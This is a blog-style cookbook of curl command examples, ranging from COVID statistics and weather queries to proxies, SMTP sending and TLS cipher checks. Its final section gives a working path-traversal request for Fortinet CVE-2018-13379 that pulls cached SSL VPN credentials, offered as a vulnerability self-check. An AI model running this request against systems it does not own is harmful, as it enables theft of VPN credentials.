Curl examples cookbook


Last updated: 19 December 2020
Get coronavirus/Covid-19 statistics for your country, real-time or historical
Force curl not to show the progress bar
Download a web page via GET request setting Chrome version 74 as the User-Agent.
Download a web page via GET request setting Googlebot version 2.1 as the User-Agent
Download a page via https ignoring certificate errors
Download a page using SOCKS5 proxy listening on 127.0.0.1 port 10443
Download a page using SOCKS5 proxy listening on 127.0.0.1 port 10443 and use remote host to resolve the hostname
Download a page and report time spent in every step starting with resolving
Resolve IP address to the owner's Autonomous System Number by sending POST query with form fields to the Team Cymru whois server
Make sure Curl follows redirections (Location:) automatically, also using the correct Referer on each redirection
Send GET request with digest authentication
Download a remote file only if it's newer than the local copy
Enable support for compressed encoding in response, as the real browser would do
Verify CORS functionality of a website
Convert Curl command into ready to be compiled C source file
Display just the HTTP response code
Get a page using specific version of HTTP protocol
Download file with SCP protocol
Get external IP address of the machine where the curl is installed
Send e-mail via SMTP
Make curl resolve a hostname to the custom IP address you specify without modifying hosts file or using DNS server hacks
Show how many redirects were followed fetching the URL
Use your browser to prepare the complete curl command via "copy as curl" feature
Test if a website supports the given cipher suite, e.g. obsolete sslv3
Fetch multiple pages with predictable pattern in their URLs
How to prevent errors on URLs that contain brackets
Github: list names of all public repositories for a given user
Display weather report for a given city
Check if your Fortigate firewall is vulnerable to CVE-2018-13379

Get coronavirus/Covid-19 statistics for your country, real-time or historical

Add your country code after the slash, e.g. for Israel "il".

$ curl -L -s covid19.trackercli.com/il
╔══════════════════════════════════════════════════════════════════════╗
║ COVID-19 Tracker CLI v3.1.0 - Israel Update                          ║
╟──────────────────────────────────────────────────────────────────────╢
║ As of 4/6/2020, 6:55:12 AM [Date:4/6/2020]                           ║
╟─────────────╤──────────────╤───────────╤─────────────╤───────────────╢
║ Cases        Deaths        Recovered  Active       Cases/Million ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ 8,611        51            585        7,975        995           ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ Today Cases  Today Deaths  Critical   Mortality %  Recovery %    ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ 181          2             141        0.59         6.79          ║
╟─────────────╧──────────────╧───────────╧─────────────╧───────────────╢
║ Source: https://www.worldometers.info/coronavirus/                   ║
╟──────────────────────────────────────────────────────────────────────╢
║ Code: https://github.com/warengonzaga/covid19-tracker-cli            ║
╚══════════════════════════════════════════════════════════════════════╝

Historical data:

$ curl -L -s covid19.trackercli.com/history/il

Force curl not to show the progress bar

Use -s option to make it silent:

curl -o index.html -s https://yurisk.info

Download a web page via GET request setting Chrome version 74 as the User-Agent.

Use -A to set User-Agent.

curl -o Index.html  -A  "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" http://example.com

Resources: https://developers.whatismybrowser.com/useragents/explore/


Download a web page via GET request setting Googlebot version 2.1 as the User-Agent.

curl -o Index.html -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"  http://example.com

Download a page via https ignoring certificate errors

Add -k to ignore any SSL certificate warnings/errors.

curl -k -o Index.html https://example.com

Download a page using SOCKS5 proxy listening on 127.0.0.1 port 10443

curl -x socks5://localhost:10443  https://yurisk.info

Download a page using SOCKS5 proxy listening on 127.0.0.1 port 10443 and use remote host to resolve the hostname

curl -x socks5h://localhost:10443  https://yurisk.info

The idea here is to tunnel DNS requests to the remote end of the tunnel as well, for example for privacy concerns to prevent DNS leak.

Download a page and report time spent in every step starting with resolving:

Source: Stackoverflow

  • Step 1: Put the parameters to write into a file called say curl-params (just for the convenience instead of CLI):
    time_namelookup:  %{time_namelookup}\n
       time_connect:  %{time_connect}\n
    time_appconnect:  %{time_appconnect}\n
   time_pretransfer:  %{time_pretransfer}\n
      time_redirect:  %{time_redirect}\n
 time_starttransfer:  %{time_starttransfer}\n
                    ----------\n
         time_total:  %{time_total}\n
  • Step 2: Run the curl supplying this file curl-params:
curl -w "@curl-params" -o /dev/null -s https://example.com
    time_namelookup:  0.062
       time_connect:  0.062
    time_appconnect:  0.239
   time_pretransfer:  0.239
      time_redirect:  0.000
 time_starttransfer:  0.240
                    ----------
         time_total:  0.241


Resolve IP address to the owner's Autonomous System Number by sending POST query with form fields to the Team Cymru whois server
When sending any POST data with form fields, the first task is to get all the fields. The easiest way to do it is to browse to the page, fill the form, open the HTML code and write down fields and their values. I did it for the page at https://asn.cymru.com/ and noted 5 fields to fill with values, the field to place IP address to query for is bulk_paste. In curl you specify field values with -F 'name=value' option:

curl -s  -X POST -F 'action=do_whois' -F 'family=ipv4' -F 'method_whois=whois' -F 'bulk_paste=35.1.33.192' -F 'submit_paste=Submit' https://asn.cymru.com/cgi-bin/whois.cgi | grep "|"

Output:

<PRE>AS      | IP               | AS Name
36375   | 35.1.33.192      | UMICH-AS-5, US

Resources: https://ec.haxx.se/http/http-post

Make sure Curl follows redirections (Location:) automatically, using the correct Referer on each redirection

curl -L -e ';auto' -o index.html https://example.com

NOTE: All the downloaded pages will be appended to the same output file, here index.html.

Send GET request with digest authentication

curl --digest http://user:pass@example.com/login

Download a remote file only if it's newer than the local copy

curl -z index.html -o index.html https://example.com/index.html 

NOTE: file to compare/download, here index.html, is compared for timestamp only, no content hashing or anything else.

Enable support for compressed encoding in response, as a real browser would do

curl -compressed  -o w3.css https://yurisk.info/theme/css/w3.css

Note: this option causes curl to sent Accept-Encoding: gzip in the request.

Verify CORS functionality of a website

curl -H "Access-Control-Request-Method: GET" -H "Origin: http://localhost" --head https://yurisk.info/2020/03/05/fortiweb-cookbook-content-routing-based-on-url-in-request-configuration/pic1.png

Output:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET

Convert Curl command into ready to be compiled C source file

curl -o index.html https://yurisk.info --libcurl index.c

The output file index.c will contain the source code to implement the same command using Curl C library:

/********* Sample code generated by the curl command line tool **********
 * All curl_easy_setopt() options are documented at:
 * https://curl.haxx.se/libcurl/c/curl_easy_setopt.html
 ************************************************************************/
#include <curl/curl.h>

int main(int argc, char *argv[])
{
  CURLcode ret;
  CURL *hnd;

  hnd = curl_easy_init();
  curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
  curl_easy_setopt(hnd, CURLOPT_URL, "https://yurisk.info");
  curl_easy_setopt(hnd, CURLOPT_USERAGENT, "curl/7.66.0");
  curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
  curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
  curl_easy_setopt(hnd, CURLOPT_SSH_KNOWNHOSTS, "/home/yuri/.ssh/known_hosts");
  curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);

  /* Here is a list of options the curl code used that cannot get generated
     as source easily. You may select to either not use them or implement
     them yourself.

  CURLOPT_WRITEDATA set to a objectpointer
  CURLOPT_INTERLEAVEDATA set to a objectpointer
  CURLOPT_WRITEFUNCTION set to a functionpointer
  CURLOPT_READDATA set to a objectpointer
  CURLOPT_READFUNCTION set to a functionpointer
  CURLOPT_SEEKDATA set to a objectpointer
  CURLOPT_SEEKFUNCTION set to a functionpointer
  CURLOPT_ERRORBUFFER set to a objectpointer
  CURLOPT_STDERR set to a objectpointer
  CURLOPT_HEADERFUNCTION set to a functionpointer
  CURLOPT_HEADERDATA set to a objectpointer

  */

  ret = curl_easy_perform(hnd);

  curl_easy_cleanup(hnd);
  hnd = NULL;

  return (int)ret;
}
/**** End of sample code ****/

You can now compile it to executable, provided you have libcurl library and its headers installed: gcc index.c -lcurl -o index

Display just the HTTP response code

curl -w  '%{http_code}' --silent -o /dev/null https://yurisk.info

Output:

200

Get a page using specific version of HTTP protocol

 curl --http2  -s  -O  https://yurisk.info

hh

Download file with SCP protocol

 curl scp://99.23.5.18:/root/pdf.pdf -o pdf.pdf -u root

Note: curl checks ~/.ssh/known_hosts file to verify authenticity of the remote server. If the remote server is not already in the known_hosts, curl will refuse to connect. To prevent it - connect to the remote server via SSH, this will add it to the known hosts. Also, curl should be compiled with support for libssh2 library.

Get external IP address of the machine where the curl is installed

 curl -s http://whatismyip.akamai.com/
87.123.255.103

Send e-mail via SMTP

First, put the message body and From/To/Subject fields in a file:

# cat message.txt
From: Joe Dow <joedow@example.com>
To: Yuri <yuri@yurisk.info>
Subject: Testing curl SMTP sending

Hi, curl can now send e-mails as well!

Now, send the e-mail using the created file and setting e-mail envelope on the CLI:

curl -v  smtp://aspmx.l.google.com/smtp.example.com  --mail-from Joedow@example.com  --mail-rcpt yuri@yurisk.info  --upload-file message.txt

Here:
aspmx.l.google.com - the mail server for the recipient domain (curl does NOT look for the MX record itself).
smtp.example.com (Optional) - domain the curl will use in greeting the mail server (HELO/EHLO).
--mail-from - sender address set in the envelope.
--mail-rcpt - recipient for the mail set in the envelope.

NOTE: the mail sending is subject to all the anti-spam checks by the receiving mail server, so I recommend to run this with the -v option set to see what is going on in real-time.

Make curl resolve a hostname to the custom IP address you specify without modifying hosts file or using DNS server hacks

Useful to test local copy of a website.
Problem: You want curl to reach a website "example.com" at IP address 127.0.0.1 without changing local hosts file or setting up fake DNS server.
Solution: Use --resolve to specify IP address for a hostname, so curl uses it without querying real DNS servers.

curl -v  --resolve "example.com:80:127.0.0.1" http://example.com
* Added example.com:80:127.0.0.1 to DNS cache
* Hostname example.com was found in DNS cache
*   Trying 127.0.0.1:80...
* Connected to example.com (127.0.0.1) port 80 (#0)
> GET / HTTP/1.1
> Host: example.com
> User-Agent: curl/7.67.0
> Accept: */*

Show how many redirects were followed fetching the URL

Use num_redirects variable for that:

 curl -w '%{num_redirects}' -L  -o /dev/null https://cnn.com -s
2

Use your browser to prepare the complete curl command via "copy as curl" feature

We can use a regular browser to prepare the complete curl command by just browsing to the target site. For that:
1. Open Developer Tools - F12 (works in Chrome and Firefox)
2. Browse to the target site/page.
3. In the "Network" tab of the Developer Tools find the item you want to GET with curl, right click on it, find menu "Copy as cURL", click on it - this copies to the clipboard ready-to-run curl command to that asset.

Test if a website supports the given cipher suite, e.g. obsolete sslv3 & DES

Helps to monitor servers for obsolete or not yet widely supported cipher suites. Check if site supports sslv3 (old and dangerously broken):

curl -k  https://yurisk.info:443 -v  --sslv3

Output:

curl: (35) error:1408F10B:SSL routines:ssl3_get_record:wrong version number

Check if the newest (experimental as of 2020) TLS v1.3 is enabled:

curl -k  https://yurisk.info:443 -v  --tlsv1.3

Output:

* OpenSSL SSL_connect: SSL_ERROR_ZERO_RETURN in connection to yurisk.info:443
* Marked for [closure]: Failed HTTPS connection

Check if a site supports easily breakable DES algorithm:

curl -k -o /dev/null  https://yurisk.info:443  --ciphers DES  

Output:

curl: (59) failed setting cipher list: DES

Fetch multiple pages with predictable pattern in their URLs

If a website has a repeating pattern in naming its resources, we can use URL globbing. curl understands ranges [start-end] and lists {item1,item2,...}. Ranges can be alphanumeric and are inclusive, i.e. [0-100] starts at 0 and includes up to 100. Ranges optionally accept step/increment value: [10-100:2], here 2 is added on each step. We can use both, ranges and lists, in the same URL.
Output files: curl remembers the matched glob patterns and we can use them with -o to specify custom output filenames.

  1. Fetch all pages in https://yurisk.info/category/checkpoint-ngngxNNN.html where NNN goes from 2 to 9. Pay attention to the single quotes - when using on the Bash command line, the range [] and list {} operators would be otherwise interpreted by the Bash itself instead of curl.
curl -s -O 'https://yurisk.info/category/checkpoint-ngngx[2-9].html'

Output directory:

ls
checkpoint-ngngx2.html
checkpoint-ngngx3.html
checkpoint-ngngx4.html
checkpoint-ngngx5.html
checkpoint-ngngx6.html
checkpoint-ngngx7.html
checkpoint-ngngx8.html
checkpoint-ngngx9.html
  1. Fetch all pages cisco.html,fortinet.html,linux.html,checkpoint-ngngx.html inside the category folder:
 curl   -O 'https://yurisk.info/category/{cisco,fortinet,linux,checkpoint-ngngx}.html'

Output:

ls -1 *.html
checkpoint-ngngx.html
cisco.html
fortinet.html
linux.html
  1. Download pages with alphabetical ranges.
curl-O -s https://yurisk.info/test[a-z]

How to prevent errors on URLs that contain brackets

If the curl uses brackets (square and curly) for ranges (see above), how do we work with URLs containing such symbols? By using the -g option to curl which turns off globbing. It also means we can't use ranges with URLs that contain brackets.

curl -g https://example.com/{ids}?site=example.gov

Github: list names of all public repositories for a given user

To query the user's repositories, the URL should have the form of https://api.github.com/users/<username>/repos. For example, let's get all the repositories for curl project:

 curl -s  https://api.github.com/users/curl/repos | awk '/\wname/'

Output:

    "full_name": "curl/build-images",
    "full_name": "curl/curl",
    "full_name": "curl/curl-cheat-sheet",
    "full_name": "curl/curl-docker",
    "full_name": "curl/curl-for-win",
    "full_name": "curl/curl-fuzzer",
    "full_name": "curl/curl-up",
    "full_name": "curl/curl-www",
    "full_name": "curl/doh",
    "full_name": "curl/fcurl",
    "full_name": "curl/h2c",
    "full_name": "curl/stats",

Note: Github imposes rate limits on the unauthorized requests, currently 60 requests/hour is the maximum. You can check how many queries are left with the X-Ratelimit-Remaining header:

 curl -s -i  https://api.github.com/users/curl/repos | grep X-Ratelimit-Remaining
X-Ratelimit-Remaining: 54`

Display weather report for a given city

There are many websites to query for weather information on the CLI, most popular seems to be wttr.in, so let's use it to get the weather in Milan:

 curl wttr.in/Milan

Output:

Weather report: Milan

    \  /       Partly cloudy
  _ /"".-.     17 °C
    \_(   ).    6 km/h
    /(___(__)  10 km
               0.0 mm
                                                       ┌─────────────┐
┌──────────────────────────────┬───────────────────────┤  Mon 04 May ├───────────────────────┬──────────────────────────────┐
│            Morning                        Noon      └──────┬──────┘     Evening                        Night            │
├──────────────────────────────┼──────────────────────────────┼──────────────────────────────┼──────────────────────────────┤
│      .-.      Light rain           .-.      Light rain                    Overcast                      Cloudy         │
│     (   ).    17 °C               (   ).    18 °C                .--.     17 °C                .--.     12 °C          │
│    (___(__)    26-36 km/h       (___(__)    20-28 km/h      .-(    ).    15-24 km/h      .-(    ).    13-21 km/h   │
│           9 km                      9 km             (___.__)__)  10 km            (___.__)__)  10 km          │
│           1.4 mm | 66%              1.9 mm | 65%                  0.0 mm | 0%                   0.0 mm | 0%    │
└──────────────────────────────┴──────────────────────────────┴──────────────────────────────┴──────────────────────────────┘
                                                       ┌─────────────┐
┌──────────────────────────────┬───────────────────────┤  Tue 05 May ├───────────────────────┬──────────────────────────────┐
│            Morning                        Noon      └──────┬──────┘     Evening                        Night            │
├──────────────────────────────┼──────────────────────────────┼──────────────────────────────┼──────────────────────────────┤
│    \  /       Partly cloudy      \  /       Partly cloudy      \  /       Partly cloudy                 Overcast       │
│  _ /"".-.     19 °C            _ /"".-.     20 °C            _ /"".-.     20 °C                .--.     19 °C          │
│    \_(   ).    9-14 km/h        \_(   ).    9-13 km/h        \_(   ).    14-21 km/h      .-(    ).    23-34 km/h   │
│    /(___(__)  10 km              /(___(__)  10 km              /(___(__)  10 km            (___.__)__)  10 km          │
│               0.0 mm | 0%                   0.0 mm | 0%                   0.0 mm | 0%                   0.0 mm | 0%    │
└──────────────────────────────┴──────────────────────────────┴──────────────────────────────┴──────────────────────────────┘

Check if your Fortigate firewall is vulnerable to CVE-2018-13379

This vulnerability allows to steal SSL VPN credentials from the Fortigate cache. Here the Fortigate IP is 192.168.18.31 and VPN SSL listens on the default port of 10443:

curl -k https://192.168.18.31:10443//remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession  --output -

If you see VPN credentials in the output, then this Fortigate is indeed vulnerable and you should update its firmware ASAP and reset all local users passwords. More info: https://www.fortinet.com/blog/psirt-blogs/update-regarding-cve-2018-13379

Follow me on https://www.linkedin.com/in/yurislobodyanyuk/ not to miss what I publish on Linkedin, Github, blog, and more.